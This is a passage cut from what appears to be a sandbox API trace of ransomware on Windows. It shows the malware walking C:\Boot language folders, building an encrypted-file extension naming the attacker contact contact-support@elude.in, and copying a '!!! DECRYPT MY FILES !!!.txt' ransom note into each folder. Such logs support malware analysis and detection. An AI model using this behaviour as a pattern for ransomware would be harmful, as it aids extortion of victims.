nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0102.810] FindNextFileW (in: hFindFile=0x6d4ec0, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21107f25, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12d60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0102.810] SysReAllocStringLen (in: pbstr=0x6ebf398*=0x0, psz="C:\\Boot\\ru-RU\\bootmgr.exe.mui", len=0x1d | out: pbstr=0x6ebf398*="C:\\Boot\\ru-RU\\bootmgr.exe.mui") returned 1 [0102.810] CharLowerBuffW (in: lpsz="C:\\Boot\\ru-RU\\bootmgr.exe.mui", cchLength=0x1d | out: lpsz="c:\\boot\\ru-ru\\bootmgr.exe.mui") returned 0x1d [0102.810] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0102.810] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0102.810] SysReAllocStringLen (in: pbstr=0x6ebf338*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf338*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0102.810] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0102.810] FindNextFileW (in: hFindFile=0x6d4ec0, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef698608, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f699a6, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xafa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0102.810] SysReAllocStringLen (in: pbstr=0x6ebf398*="c:\\boot\\ru-ru\\bootmgr.exe.mui", psz="C:\\Boot\\ru-RU\\memtest.exe.mui", len=0x1d | out: pbstr=0x6ebf398*="C:\\Boot\\ru-RU\\memtest.exe.mui") returned 1 [0102.810] CharLowerBuffW (in: lpsz="C:\\Boot\\ru-RU\\memtest.exe.mui", cchLength=0x1d | out: lpsz="c:\\boot\\ru-ru\\memtest.exe.mui") returned 0x1d [0102.810] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0102.811] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0102.811] SysReAllocStringLen (in: pbstr=0x6ebf338*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf338*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0102.811] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0102.811] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe33c, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txt") returned 28 [0102.811] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x64e230, cbMultiByte=17, lpWideCharStr=0x6ebe338, cchWideChar=2047 | out: lpWideCharStr="TEEWLJH3QNDSEELUTFILES !!!.txt") returned 17 [0102.811] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT", lpFindFileData=0x6ebf0a4 | out: lpFindFileData=0x6ebf0a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf971581b, ftCreationTime.dwHighDateTime=0x1d5e216, ftLastAccessTime.dwLowDateTime=0xf971581b, ftLastAccessTime.dwHighDateTime=0x1d5e216, ftLastWriteTime.dwLowDateTime=0xf971581b, ftLastWriteTime.dwHighDateTime=0x1d5e216, nFileSizeHigh=0x0, nFileSizeLow=0x12f, dwReserved0=0xc4938cb0, dwReserved1=0x778947df, cFileName="TEEWLJH3QNDSEELUT", cAlternateFileName="TEEWLJ~1")) returned 0x6d5040 [0102.811] FindClose (in: hFindFile=0x6d5040 | out: hFindFile=0x6d5040) returned 1 [0102.811] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Boot\\ru-RU\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\boot\\ru-ru\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0102.816] GetProcessHeap () returned 0x630000 [0102.816] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x6b12f8 [0102.816] FindNextFileW (in: hFindFile=0x6d4ec0, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0102.816] FindClose (in: hFindFile=0x6d4ec0 | out: hFindFile=0x6d4ec0) returned 1 [0102.988] FindNextFileW (in: hFindFile=0x6d4e00, lpFindFileData=0x6ebf66c | out: lpFindFileData=0x6ebf66c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4938cb0, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk-SK", cAlternateFileName="")) returned 1 [0102.990] SysReAllocStringLen (in: pbstr=0x6ebf3a0*=0x0, psz="C:\\Boot\\sk-SK\\", len=0xe | out: pbstr=0x6ebf3a0*="C:\\Boot\\sk-SK\\") returned 1 [0102.990] CharLowerBuffW (in: lpsz="C:\\Boot\\sk-SK\\", cchLength=0xe | out: lpsz="c:\\boot\\sk-sk\\") returned 0xe [0102.991] SysReAllocStringLen (in: pbstr=0x6ebf348*=0x0, psz="C:\\Users\\FD1HVy\\Desktop\\", len=0x18 | out: pbstr=0x6ebf348*="C:\\Users\\FD1HVy\\Desktop\\") returned 1 [0102.991] CharLowerBuffW (in: lpsz="C:\\Users\\FD1HVy\\Desktop\\", cchLength=0x18 | out: lpsz="c:\\users\\fd1hvy\\desktop\\") returned 0x18 [0102.991] FindFirstFileW (in: lpFileName="C:\\Boot\\sk-SK\\*.*", lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4938cb0, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d4e40 [0102.991] FindNextFileW (in: hFindFile=0x6d4e40, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4938cb0, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0102.991] FindNextFileW (in: hFindFile=0x6d4e40, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21107f25, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12d58, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0102.991] SysReAllocStringLen (in: pbstr=0x6ebf398*=0x0, psz="C:\\Boot\\sk-SK\\bootmgr.exe.mui", len=0x1d | out: pbstr=0x6ebf398*="C:\\Boot\\sk-SK\\bootmgr.exe.mui") returned 1 [0102.991] CharLowerBuffW (in: lpsz="C:\\Boot\\sk-SK\\bootmgr.exe.mui", cchLength=0x1d | out: lpsz="c:\\boot\\sk-sk\\bootmgr.exe.mui") returned 0x1d [0102.991] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0102.991] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0102.991] SysReAllocStringLen (in: pbstr=0x6ebf338*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf338*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0102.992] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0102.992] FindNextFileW (in: hFindFile=0x6d4e40, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0102.992] FindClose (in: hFindFile=0x6d4e40 | out: hFindFile=0x6d4e40) returned 1 [0102.992] FindNextFileW (in: hFindFile=0x6d4e00, lpFindFileData=0x6ebf66c | out: lpFindFileData=0x6ebf66c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-SI", cAlternateFileName="")) returned 1 [0102.992] SysReAllocStringLen (in: pbstr=0x6ebf3a0*=0x0, psz="C:\\Boot\\sl-SI\\", len=0xe | out: pbstr=0x6ebf3a0*="C:\\Boot\\sl-SI\\") returned 1 [0102.992] CharLowerBuffW (in: lpsz="C:\\Boot\\sl-SI\\", cchLength=0xe | out: lpsz="c:\\boot\\sl-si\\") returned 0xe [0102.992] SysReAllocStringLen (in: pbstr=0x6ebf348*=0x0, psz="C:\\Users\\FD1HVy\\Desktop\\", len=0x18 | out: pbstr=0x6ebf348*="C:\\Users\\FD1HVy\\Desktop\\") returned 1 [0102.992] CharLowerBuffW (in: lpsz="C:\\Users\\FD1HVy\\Desktop\\", cchLength=0x18 | out: lpsz="c:\\users\\fd1hvy\\desktop\\") returned 0x18 [0102.992] FindFirstFileW (in: lpFileName="C:\\Boot\\sl-SI\\*.*", lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d5440 [0102.993] FindNextFileW (in: hFindFile=0x6d5440, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0102.993] FindNextFileW (in: hFindFile=0x6d5440, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21107f25, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0102.993] SysReAllocStringLen (in: pbstr=0x6ebf398*=0x0, psz="C:\\Boot\\sl-SI\\bootmgr.exe.mui", len=0x1d | out: pbstr=0x6ebf398*="C:\\Boot\\sl-SI\\bootmgr.exe.mui") returned 1 [0102.993] CharLowerBuffW (in: lpsz="C:\\Boot\\sl-SI\\bootmgr.exe.mui", cchLength=0x1d | out: lpsz="c:\\boot\\sl-si\\bootmgr.exe.mui") returned 0x1d [0102.994] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0102.994] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0102.994] SysReAllocStringLen (in: pbstr=0x6ebf338*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf338*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0102.994] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0102.994] FindNextFileW (in: hFindFile=0x6d5440, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0102.994] FindClose (in: hFindFile=0x6d5440 | out: hFindFile=0x6d5440) returned 1 [0102.994] FindNextFileW (in: hFindFile=0x6d4e00, lpFindFileData=0x6ebf66c | out: lpFindFileData=0x6ebf66c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0x5168548b, ftLastAccessTime.dwHighDateTime=0x1d3271b, ftLastWriteTime.dwLowDateTime=0x5168548b, ftLastWriteTime.dwHighDateTime=0x1d3271b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sr-Latn-CS", cAlternateFileName="SR-LAT~1")) returned 1 [0102.994] SysReAllocStringLen (in: pbstr=0x6ebf3a0*=0x0, psz="C:\\Boot\\sr-Latn-CS\\", len=0x13 | out: pbstr=0x6ebf3a0*="C:\\Boot\\sr-Latn-CS\\") returned 1 [0102.994] CharLowerBuffW (in: lpsz="C:\\Boot\\sr-Latn-CS\\", cchLength=0x13 | out: lpsz="c:\\boot\\sr-latn-cs\\") returned 0x13 [0102.994] SysReAllocStringLen (in: pbstr=0x6ebf348*=0x0, psz="C:\\Users\\FD1HVy\\Desktop\\", len=0x18 | out: pbstr=0x6ebf348*="C:\\Users\\FD1HVy\\Desktop\\") returned 1 [0102.995] CharLowerBuffW (in: lpsz="C:\\Users\\FD1HVy\\Desktop\\", cchLength=0x18 | out: lpsz="c:\\users\\fd1hvy\\desktop\\") returned 0x18 [0102.995] FindFirstFileW (in: lpFileName="C:\\Boot\\sr-Latn-CS\\*.*", lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0x5168548b, ftLastAccessTime.dwHighDateTime=0x1d3271b, ftLastWriteTime.dwLowDateTime=0x5168548b, ftLastWriteTime.dwHighDateTime=0x1d3271b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d4e40 [0102.995] FindNextFileW (in: hFindFile=0x6d4e40, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0x5168548b, ftLastAccessTime.dwHighDateTime=0x1d3271b, ftLastWriteTime.dwLowDateTime=0x5168548b, ftLastWriteTime.dwHighDateTime=0x1d3271b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0102.995] FindNextFileW (in: hFindFile=0x6d4e40, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21212f9a, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12d60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0102.995] SysReAllocStringLen (in: pbstr=0x6ebf398*=0x0, psz="C:\\Boot\\sr-Latn-CS\\bootmgr.exe.mui", len=0x22 | out: pbstr=0x6ebf398*="C:\\Boot\\sr-Latn-CS\\bootmgr.exe.mui") returned 1 [0102.995] CharLowerBuffW (in: lpsz="C:\\Boot\\sr-Latn-CS\\bootmgr.exe.mui", cchLength=0x22 | out: lpsz="c:\\boot\\sr-latn-cs\\bootmgr.exe.mui") returned 0x22 [0102.995] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0102.995] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0102.995] SysReAllocStringLen (in: pbstr=0x6ebf338*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf338*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0102.995] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0102.995] FindNextFileW (in: hFindFile=0x6d4e40, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0x5168548b, ftLastAccessTime.dwHighDateTime=0x1d3271b, ftLastWriteTime.dwLowDateTime=0xe318f070, ftLastWriteTime.dwHighDateTime=0x1d112e1, nFileSizeHigh=0x0, nFileSizeLow=0xaf58, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0102.996] SysReAllocStringLen (in: pbstr=0x6ebf398*="c:\\boot\\sr-latn-cs\\bootmgr.exe.mui", psz="C:\\Boot\\sr-Latn-CS\\memtest.exe.mui", len=0x22 | out: pbstr=0x6ebf398*="C:\\Boot\\sr-Latn-CS\\memtest.exe.mui") returned 1 [0102.996] CharLowerBuffW (in: lpsz="C:\\Boot\\sr-Latn-CS\\memtest.exe.mui", cchLength=0x22 | out: lpsz="c:\\boot\\sr-latn-cs\\memtest.exe.mui") returned 0x22 [0102.996] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0102.996] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0102.996] SysReAllocStringLen (in: pbstr=0x6ebf338*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf338*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0102.996] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0102.996] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe33c, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txt") returned 28 [0102.996] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x64e230, cbMultiByte=17, lpWideCharStr=0x6ebe338, cchWideChar=2047 | out: lpWideCharStr="TEEWLJH3QNDSEELUTFILES !!!.txt") returned 17 [0102.996] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT", lpFindFileData=0x6ebf0a4 | out: lpFindFileData=0x6ebf0a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf971581b, ftCreationTime.dwHighDateTime=0x1d5e216, ftLastAccessTime.dwLowDateTime=0xf971581b, ftLastAccessTime.dwHighDateTime=0x1d5e216, ftLastWriteTime.dwLowDateTime=0xf971581b, ftLastWriteTime.dwHighDateTime=0x1d5e216, nFileSizeHigh=0x0, nFileSizeLow=0x12f, dwReserved0=0xc495eef9, dwReserved1=0x778947df, cFileName="TEEWLJH3QNDSEELUT", cAlternateFileName="TEEWLJ~1")) returned 0x6d4ec0 [0102.996] FindClose (in: hFindFile=0x6d4ec0 | out: hFindFile=0x6d4ec0) returned 1 [0102.997] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Boot\\sr-Latn-CS\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\boot\\sr-latn-cs\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0103.138] GetProcessHeap () returned 0x630000 [0103.138] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x6b1388 [0103.138] FindNextFileW (in: hFindFile=0x6d4e40, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0103.138] FindClose (in: hFindFile=0x6d4e40 | out: hFindFile=0x6d4e40) returned 1 [0103.138] FindNextFileW (in: hFindFile=0x6d4e00, lpFindFileData=0x6ebf66c | out: lpFindFileData=0x6ebf66c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sr-Latn-RS", cAlternateFileName="SR-LAT~2")) returned 1 [0103.139] SysReAllocStringLen (in: pbstr=0x6ebf3a0*=0x0, psz="C:\\Boot\\sr-Latn-RS\\", len=0x13 | out: pbstr=0x6ebf3a0*="C:\\Boot\\sr-Latn-RS\\") returned 1 [0103.139] CharLowerBuffW (in: lpsz="C:\\Boot\\sr-Latn-RS\\", cchLength=0x13 | out: lpsz="c:\\boot\\sr-latn-rs\\") returned 0x13 [0103.139] SysReAllocStringLen (in: pbstr=0x6ebf348*=0x0, psz="C:\\Users\\FD1HVy\\Desktop\\", len=0x18 | out: pbstr=0x6ebf348*="C:\\Users\\FD1HVy\\Desktop\\") returned 1 [0103.139] CharLowerBuffW (in: lpsz="C:\\Users\\FD1HVy\\Desktop\\", cchLength=0x18 | out: lpsz="c:\\users\\fd1hvy\\desktop\\") returned 0x18 [0103.139] FindFirstFileW (in: lpFileName="C:\\Boot\\sr-Latn-RS\\*.*", lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d5240 [0103.140] FindNextFileW (in: hFindFile=0x6d5240, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 